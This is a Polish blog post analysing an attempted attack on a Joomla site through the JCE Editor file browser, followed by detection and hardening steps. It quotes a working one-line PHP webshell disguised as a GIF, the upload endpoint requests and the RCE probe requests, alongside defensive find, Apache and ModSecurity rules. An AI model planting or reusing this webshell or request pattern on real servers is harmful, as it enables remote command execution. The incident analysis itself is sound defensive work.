Joomla i JCE Editor pod ostrzałem. Analiza rzeczywistej próby włamania, wykrycie webshelli PHP ukrytych w plikach GIF oraz praktyczne sposoby zabezpieczenia serwera przed podobnymi atakami.
[10 czerwca 2026] • root • PrywatnyInformatyk.pl
Bezpieczeństwo stron internetowych nie kończy się na aktualizacji CMS-a. W ostatnich dniach podczas rutynowego monitoringu jednego z serwerów hostingowych wykryliśmy próbę wykorzystania podatności związanej z komponentem JCE Editor dla Joomla. Atakujący próbował wgrywać na serwer złośliwe pliki PHP ukryte jako obrazy GIF, a następnie uruchamiać je przez przeglądarkę.
Pierwszy sygnał ostrzegawczy
Analiza logów Apache ujawniła powtarzające się żądania kierowane do komponentu JCE:
POST /index.php?option=com_jce&task=plugin.rpc&plugin=browser&xxxxxxxxxxxxxxxx=1
Tego typu zapytania są charakterystyczne dla automatycznych skanerów Internetu poszukujących podatnych instalacji Joomla i komponentu JCE Editor.
Szczególnie niepokojące było to, że podobne żądania pojawiały się wielokrotnie w krótkich odstępach czasu, co sugerowało działanie automatycznego narzędzia do wyszukiwania podatnych stron.
Wykorzystany komponent: JCE Editor dla Joomla
JCE Editor (Joomla Content Editor) jest jednym z najpopularniejszych edytorów treści dla Joomla. Rozszerzenie oferuje rozbudowane funkcje zarządzania obrazami, plikami oraz multimediami.
W analizowanym przypadku atakujący wykorzystywał endpoint:
/index.php?option=com_jce&task=plugin.rpc&plugin=browser
Moduł Browser odpowiada za obsługę plików wykorzystywanych przez edytor. Historycznie był on wielokrotnie celem ataków związanych z możliwością przesyłania plików na serwer.
Nie oznacza to oczywiście, że każda instalacja JCE jest podatna. Problem pojawia się najczęściej w przypadku:
- nieaktualnej wersji JCE,
- nieaktualnej wersji Joomla,
- błędnej konfiguracji uprawnień uploadu plików,
- braku dodatkowych zabezpieczeń po stronie serwera WWW.
W analizowanym przypadku strona działała na Joomla 3.10.11, czyli wersji niewspieranej od dłuższego czasu i nieotrzymującej już aktualizacji bezpieczeństwa.
Wykrycie podejrzanych plików
Podczas analizy zmian w plikach strony zauważyliśmy pojawianie się kolejnych plików w katalogu images:
images/s1781035537.php.gif images/s1781038997.php.gif images/s1781040555.php.gif images/s1781068621.php.gif images/s1781070149.php.gif ...
W ciągu kilku godzin na serwerze pojawiło się ponad 30 podobnych plików. Już sama nazwa była podejrzana, ponieważ prawidłowe obrazy nie powinny zawierać rozszerzenia .php.
Analiza zawartości pliku
Po sprawdzeniu jednego z plików okazało się, że nie był to zwykły obraz:
GIF89a <? $a="sys"."tem";$a($_GET[x]);?>
Jest to prosty webshell PHP umożliwiający wykonywanie poleceń systemowych przekazywanych przez parametr URL.
W praktyce oznacza to możliwość wykonania przez atakującego poleceń systemowych na koncie hostingowym użytkownika.
Jak działał atak?
Po przesłaniu pliku bot automatycznie sprawdzał, czy udało się uruchomić kod PHP:
GET /images/s1781070149.php GET /images/s1781070149.gif?x=echo+RCEOK GET /images/s1781070149.php.gif
Atakujący wykonywał kilka wariantów żądań, próbując ustalić, czy serwer interpretuje plik jako obraz, czy jako skrypt PHP.
Parametr:
?x=echo+RCEOK
służył do sprawdzenia, czy polecenie systemowe zostanie wykonane na serwerze.
Na szczęście konfiguracja serwera nie pozwoliła na skuteczne wykonanie kodu, jednak sam fakt pojawienia się plików oznaczał, że mechanizm uploadu został wykorzystany do zapisania złośliwych danych na dysku.
Jak wykryliśmy wszystkie pliki?
Do szybkiej identyfikacji podobnych zagrożeń wykorzystaliśmy między innymi:
find /home -type f | grep -Ei '\.php\.(gif|jpg|jpeg|png|webp)$'
Polecenie pozwoliło natychmiast odnaleźć wszystkie pliki zawierające rozszerzenie PHP ukryte pod postacią obrazów.
Usunięcie zagrożenia
Po wykonaniu kopii bezpieczeństwa do analizy usunięto wszystkie podejrzane pliki:
rm -f s*.php.gif
Następnie przeprowadzono dodatkową analizę katalogów:
- images
- media
- tmp
- cache
oraz pełne skanowanie konta hostingowego.
Zabezpieczenie katalogu images
Usunięcie plików to dopiero pierwszy krok. Równie ważne jest uniemożliwienie uruchamiania PHP w katalogach przeznaczonych wyłącznie na obrazy.
Na serwerze Apache wdrożono blokadę:
<Directory "/home/USER/public_html/images">
<FilesMatch "(?i)\.php">
Require all denied
</FilesMatch>
</Directory>
Dzięki temu każdy plik zawierający w nazwie ciąg .php zostanie automatycznie zablokowany przez serwer WWW.
Podobne zabezpieczenie warto zastosować również dla katalogów:
- images
- media
- tmp
- cache
- uploads
Dodatkowa ochrona ModSecurity
W celu ograniczenia liczby podobnych prób ataków wdrożono również regułę ModSecurity blokującą charakterystyczne żądania wykorzystywane przez boty skanujące JCE:
SecRule QUERY_STRING "@rx option=com_jce.*task=plugin\.rpc.*plugin=browser" \ "id:1005002,\ phase:1,\ deny,\ status:403,\ log"
Dzięki temu wiele prób ataku jest zatrzymywanych jeszcze przed przekazaniem żądania do Joomla.
Jak zabezpieczyć Joomla przed podobnymi incydentami?
- Aktualizuj Joomla do wspieranej wersji.
- Regularnie aktualizuj komponent JCE Editor.
- Usuń nieużywane rozszerzenia.
- Blokuj wykonywanie PHP w katalogach przeznaczonych na pliki użytkowników.
- Monitoruj zmiany w plikach strony.
- Regularnie analizuj logi serwera WWW.
- Wykorzystuj ModSecurity oraz Fail2ban.
- Przeprowadzaj okresowe skanowanie plików pod kątem webshelli.
Najważniejsze informacje
Opisywany incydent pokazuje, że nawet pozornie niegroźny upload pliku może stanowić poważne zagrożenie dla bezpieczeństwa strony internetowej. Szybka analiza logów, monitoring zmian w plikach oraz odpowiednia konfiguracja Apache pozwoliły wykryć problem na wczesnym etapie i usunąć zagrożenie zanim doszło do pełnej kompromitacji konta hostingowego.
Jeżeli korzystasz z Joomla, szczególnie starszych wersji lub rozszerzenia JCE Editor, warto poświęcić chwilę na sprawdzenie logów oraz wdrożenie dodatkowych zabezpieczeń. Czas reakcji bardzo często decyduje o tym, czy incydent zakończy się jedynie próbą ataku, czy rzeczywistym przejęciem strony.